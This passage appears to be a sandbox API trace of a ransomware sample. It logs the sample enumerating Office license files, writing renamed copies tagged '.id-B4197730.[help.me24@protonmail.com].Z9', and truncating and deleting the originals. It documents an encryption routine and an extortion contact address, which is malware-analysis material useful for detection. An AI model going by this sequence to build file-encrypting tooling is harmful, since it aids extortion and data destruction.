	[0182.963] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".bz2") returned 4
	[0182.963] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString=".7z") returned 3
	[0182.963] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString=".dbf") returned 4
	[0182.963] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString=".1cd") returned 4
	[0182.963] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.963] lstrlenW (lpString=".jpg") returned 4
	[0182.963] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString=".doc") returned 4
	[0182.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".docx") returned 5
	[0182.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.964] lstrlenW (lpString=".pdf") returned 4
	[0182.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".xls") returned 4
	[0182.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".xlsx") returned 5
	[0182.964] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.964] lstrlenW (lpString=".ppt") returned 4
	[0182.964] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString=".zip") returned 4
	[0182.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".rar") returned 4
	[0182.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".bz2") returned 4
	[0182.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString=".7z") returned 3
	[0182.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString=".dbf") returned 4
	[0182.964] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString=".1cd") returned 4
	[0182.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85
	[0182.964] lstrlenW (lpString=".jpg") returned 4
	[0182.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.964] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.965] lstrlenW (lpString="HomeStudentR_Retail-ul-oob.xrm-ms") returned 33
	[0182.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.965] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11604) returned 1
	[0182.966] CloseHandle (hObject=0x36c) returned 1
	[0182.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220
	[0182.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0182.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.966] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0182.967] GetLastError () returned 0x0
	[0182.967] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2d54, lpOverlapped=0x0) returned 1
	[0183.161] WriteFile (in: hFile=0x53c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0183.162] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.162] WriteFile (in: hFile=0x53c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x116, lpOverlapped=0x0) returned 1
	[0183.163] SetEndOfFile (hFile=0x53c) returned 1
	[0183.188] CloseHandle (hObject=0x53c) returned 1
	[0183.193] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.193] SetEndOfFile (hFile=0x36c) returned 1
	[0183.313] CloseHandle (hObject=0x36c) returned 1
	[0183.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1
	[0183.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.315] lstrlenW (lpString=".doc") returned 4
	[0183.315] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.315] lstrlenW (lpString=".docx") returned 5
	[0183.315] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.315] lstrlenW (lpString=".pdf") returned 4
	[0183.315] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.315] lstrlenW (lpString=".xls") returned 4
	[0183.315] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.315] lstrlenW (lpString=".xlsx") returned 5
	[0183.315] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.315] lstrlenW (lpString=".ppt") returned 4
	[0183.315] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.315] lstrlenW (lpString=".zip") returned 4
	[0183.315] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.315] lstrlenW (lpString=".rar") returned 4
	[0183.316] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.316] lstrlenW (lpString=".bz2") returned 4
	[0183.316] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.316] lstrlenW (lpString=".7z") returned 3
	[0183.316] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.316] lstrlenW (lpString=".dbf") returned 4
	[0183.316] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.316] lstrlenW (lpString=".1cd") returned 4
	[0183.316] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.316] lstrlenW (lpString=".jpg") returned 4
	[0183.316] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.316] lstrlenW (lpString=".doc") returned 4
	[0183.317] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".docx") returned 5
	[0183.317] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.317] lstrlenW (lpString=".pdf") returned 4
	[0183.317] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".xls") returned 4
	[0183.317] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".xlsx") returned 5
	[0183.317] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.317] lstrlenW (lpString=".ppt") returned 4
	[0183.317] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.317] lstrlenW (lpString=".zip") returned 4
	[0183.317] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".rar") returned 4
	[0183.317] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".bz2") returned 4
	[0183.317] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString=".7z") returned 3
	[0183.317] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.317] lstrlenW (lpString=".dbf") returned 4
	[0183.317] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.317] lstrlenW (lpString=".1cd") returned 4
	[0183.317] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83
	[0183.317] lstrlenW (lpString=".jpg") returned 4
	[0183.318] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.318] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.318] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29
	[0183.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.319] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=11167) returned 1
	[0183.319] CloseHandle (hObject=0x36c) returned 1
	[0183.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220
	[0183.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.320] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.320] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0183.331] GetLastError () returned 0x0
	[0183.331] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0183.348] WriteFile (in: hFile=0x344, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0183.349] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.349] WriteFile (in: hFile=0x344, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10e, lpOverlapped=0x0) returned 1
	[0183.349] SetEndOfFile (hFile=0x344) returned 1
	[0183.350] CloseHandle (hObject=0x344) returned 1
	[0183.350] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.350] SetEndOfFile (hFile=0x36c) returned 1
	[0183.358] CloseHandle (hObject=0x36c) returned 1
	[0183.359] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 1
	[0183.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.360] lstrlenW (lpString=".doc") returned 4
	[0183.360] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString=".docx") returned 5
	[0183.360] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.360] lstrlenW (lpString=".pdf") returned 4
	[0183.360] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString=".xls") returned 4
	[0183.360] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString=".xlsx") returned 5
	[0183.360] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.360] lstrlenW (lpString=".ppt") returned 4
	[0183.360] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.360] lstrlenW (lpString=".zip") returned 4
	[0183.360] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString=".rar") returned 4
	[0183.360] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.360] lstrlenW (lpString=".bz2") returned 4
	[0183.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".7z") returned 3
	[0183.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString=".dbf") returned 4
	[0183.361] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString=".1cd") returned 4
	[0183.361] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString=".jpg") returned 4
	[0183.361] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString=".doc") returned 4
	[0183.361] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".docx") returned 5
	[0183.361] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0183.361] lstrlenW (lpString=".pdf") returned 4
	[0183.361] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".xls") returned 4
	[0183.361] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".xlsx") returned 5
	[0183.361] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0183.361] lstrlenW (lpString=".ppt") returned 4
	[0183.361] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.361] lstrlenW (lpString=".zip") returned 4
	[0183.361] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".rar") returned 4
	[0183.361] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".bz2") returned 4
	[0183.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0183.361] lstrlenW (lpString=".7z") returned 3
	[0183.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0183.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.362] lstrlenW (lpString=".dbf") returned 4
	[0183.362] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0183.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.362] lstrlenW (lpString=".1cd") returned 4
	[0183.362] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0183.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms") returned 79
	[0183.362] lstrlenW (lpString=".jpg") returned 4
	[0183.362] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0183.362] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0183.362] lstrlenW (lpString="HomeStudentR_Trial2-ppd.xrm-ms") returned 30
	[0183.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.635] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=21728) returned 1
	[0183.635] CloseHandle (hObject=0x36c) returned 1
	[0183.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 0x220
	[0183.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0183.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.672] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.673] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0183.677] GetLastError () returned 0x0
	[0183.677] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x54e0, lpOverlapped=0x0) returned 1
	[0183.688] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x54f0, lpOverlapped=0x0) returned 1
	[0183.690] ReadFile (in: hFile=0x36c, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.690] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x110, lpOverlapped=0x0) returned 1
	[0183.691] SetEndOfFile (hFile=0x4bc) returned 1
	[0183.691] CloseHandle (hObject=0x4bc) returned 1
	[0183.691] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.691] SetEndOfFile (hFile=0x36c) returned 1
	[0183.695] CloseHandle (hObject=0x36c) returned 1
	[0183.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0183.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-ppd.xrm-ms")) returned 1
	[0183.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
	[0183.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80
